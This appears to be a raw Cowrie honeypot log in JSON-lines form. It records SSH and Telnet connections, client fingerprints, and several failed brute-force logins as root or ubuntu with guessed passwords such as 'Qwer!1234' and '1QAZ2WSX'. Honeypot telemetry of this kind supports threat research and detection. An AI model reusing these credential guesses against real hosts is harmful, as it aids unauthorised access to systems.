{"eventid":"cowrie.login.failed","username":"root","password":"Qwer!1234","message":"login attempt [root/Qwer!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:50.701144Z","src_ip":"197.248.104.31","session":"e2e2cdce0030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:50.724324Z","src_ip":"43.159.35.21","session":"93501e628042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!@#$","message":"login attempt [root/K0nig!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:51.707310Z","src_ip":"43.159.35.21","session":"93501e628042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:51.914466Z","src_ip":"197.248.104.31","session":"e2e2cdce0030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:52.948126Z","src_ip":"43.159.35.21","session":"93501e628042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.94919180870056,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:53.503339Z","src_ip":"152.42.224.71","session":"8ac19530b022","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":55454,"dst_ip":"159.203.135.109","dst_port":22,"session":"2896ed64d0be","protocol":"ssh","message":"New connection: 46.19.67.181:55454 (159.203.135.109:22) [session: 2896ed64d0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:58.124683Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":47502,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c0d8a6c8d8","protocol":"ssh","message":"New connection: 193.32.162.145:47502 (10.17.0.5:22) [session: 96c0d8a6c8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:58.558624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:58.563258Z","src_ip":"193.32.162.145","session":"96c0d8a6c8d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:58.673166Z","src_ip":"193.32.162.145","session":"96c0d8a6c8d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123sol","message":"login attempt [ubuntu/123sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:59.079376Z","src_ip":"193.32.162.145","session":"96c0d8a6c8d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":45666,"dst_ip":"10.17.0.5","dst_port":22,"session":"10be76e0aed6","protocol":"ssh","message":"New connection: 62.193.106.227:45666 (10.17.0.5:22) [session: 10be76e0aed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:59.681604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:59.686470Z","src_ip":"62.193.106.227","session":"10be76e0aed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:59.832176Z","src_ip":"62.193.106.227","session":"10be76e0aed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:00.196093Z","src_ip":"193.32.162.145","session":"96c0d8a6c8d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX","message":"login attempt [root/1QAZ2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:00.440043Z","src_ip":"62.193.106.227","session":"10be76e0aed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.00909471511841,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:01.436082Z","src_ip":"152.42.224.71","session":"a789135a6eaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:01.592394Z","src_ip":"62.193.106.227","session":"10be76e0aed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43168,"dst_ip":"10.17.0.5","dst_port":23,"session":"315bbc43894e","protocol":"telnet","message":"New connection: 152.42.224.71:43168 (10.17.0.5:23) [session: 315bbc43894e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:10.157640Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":41346,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6bfb5ed7f49","protocol":"ssh","message":"New connection: 43.153.124.153:41346 (10.17.0.5:22) [session: b6bfb5ed7f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:13.266068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:13.270724Z","src_ip":"43.153.124.153","session":"b6bfb5ed7f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:13.338576Z","src_ip":"43.153.124.153","session":"b6bfb5ed7f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irene123","message":"login attempt [root/irene123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:13.641262Z","src_ip":"43.153.124.153","session":"b6bfb5ed7f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:14.712419Z","src_ip":"43.153.124.153","session":"b6bfb5ed7f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43174,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4cc585b1c2","protocol":"telnet","message":"New connection: 152.42.224.71:43174 (10.17.0.5:23) [session: 1e4cc585b1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:15.477012Z"}
{"eventid":"cowrie.session.closed","duration":30.840155601501465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:15.745476Z","src_ip":"152.42.224.71","session":"ddc474df0727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":37350,"dst_ip":"159.203.135.109","dst_port":22,"session":"a275696f2162","protocol":"ssh","message":"New connection: 147.45.211.215:37350 (159.203.135.109:22) [session: a275696f2162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:20.155168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:20.162526Z","src_ip":"147.45.211.215","session":"a275696f2162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:20.343081Z","src_ip":"147.45.211.215","session":"a275696f2162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":38012,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea3bc1631e36","protocol":"ssh","message":"New connection: 154.83.13.181:38012 (159.203.135.109:22) [session: ea3bc1631e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:20.731663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:20.736008Z","src_ip":"154.83.13.181","session":"ea3bc1631e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artemka","message":"login attempt [root/artemka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:20.881473Z","src_ip":"147.45.211.215","session":"a275696f2162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:20.941163Z","src_ip":"154.83.13.181","session":"ea3bc1631e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"letmein","message":"login attempt [ubuntu/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:21.789812Z","src_ip":"154.83.13.181","session":"ea3bc1631e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:22.061959Z","src_ip":"147.45.211.215","session":"a275696f2162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:22.995191Z","src_ip":"154.83.13.181","session":"ea3bc1631e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":36162,"dst_ip":"159.203.135.109","dst_port":22,"session":"3214271f5651","protocol":"ssh","message":"New connection: 43.159.169.93:36162 (159.203.135.109:22) [session: 3214271f5651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:28.783900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:28.791668Z","src_ip":"43.159.169.93","session":"3214271f5651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:28.859166Z","src_ip":"43.159.169.93","session":"3214271f5651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin2026","message":"login attempt [ubuntu/admin2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:29.161344Z","src_ip":"43.159.169.93","session":"3214271f5651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:30.232126Z","src_ip":"43.159.169.93","session":"3214271f5651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38104,"dst_ip":"10.17.0.5","dst_port":23,"session":"2498acfb18f1","protocol":"telnet","message":"New connection: 152.42.224.71:38104 (10.17.0.5:23) [session: 2498acfb18f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:31.497504Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38116,"dst_ip":"10.17.0.5","dst_port":23,"session":"605733678619","protocol":"telnet","message":"New connection: 152.42.224.71:38116 (10.17.0.5:23) [session: 605733678619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:32.722842Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":41900,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f3758a8799","protocol":"ssh","message":"New connection: 43.153.54.120:41900 (10.17.0.5:22) [session: 08f3758a8799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:38.513883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:38.517448Z","src_ip":"43.153.54.120","session":"08f3758a8799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:54:38.600576Z","src_ip":"43.153.54.120","session":"08f3758a8799","protocol":"ssh"}
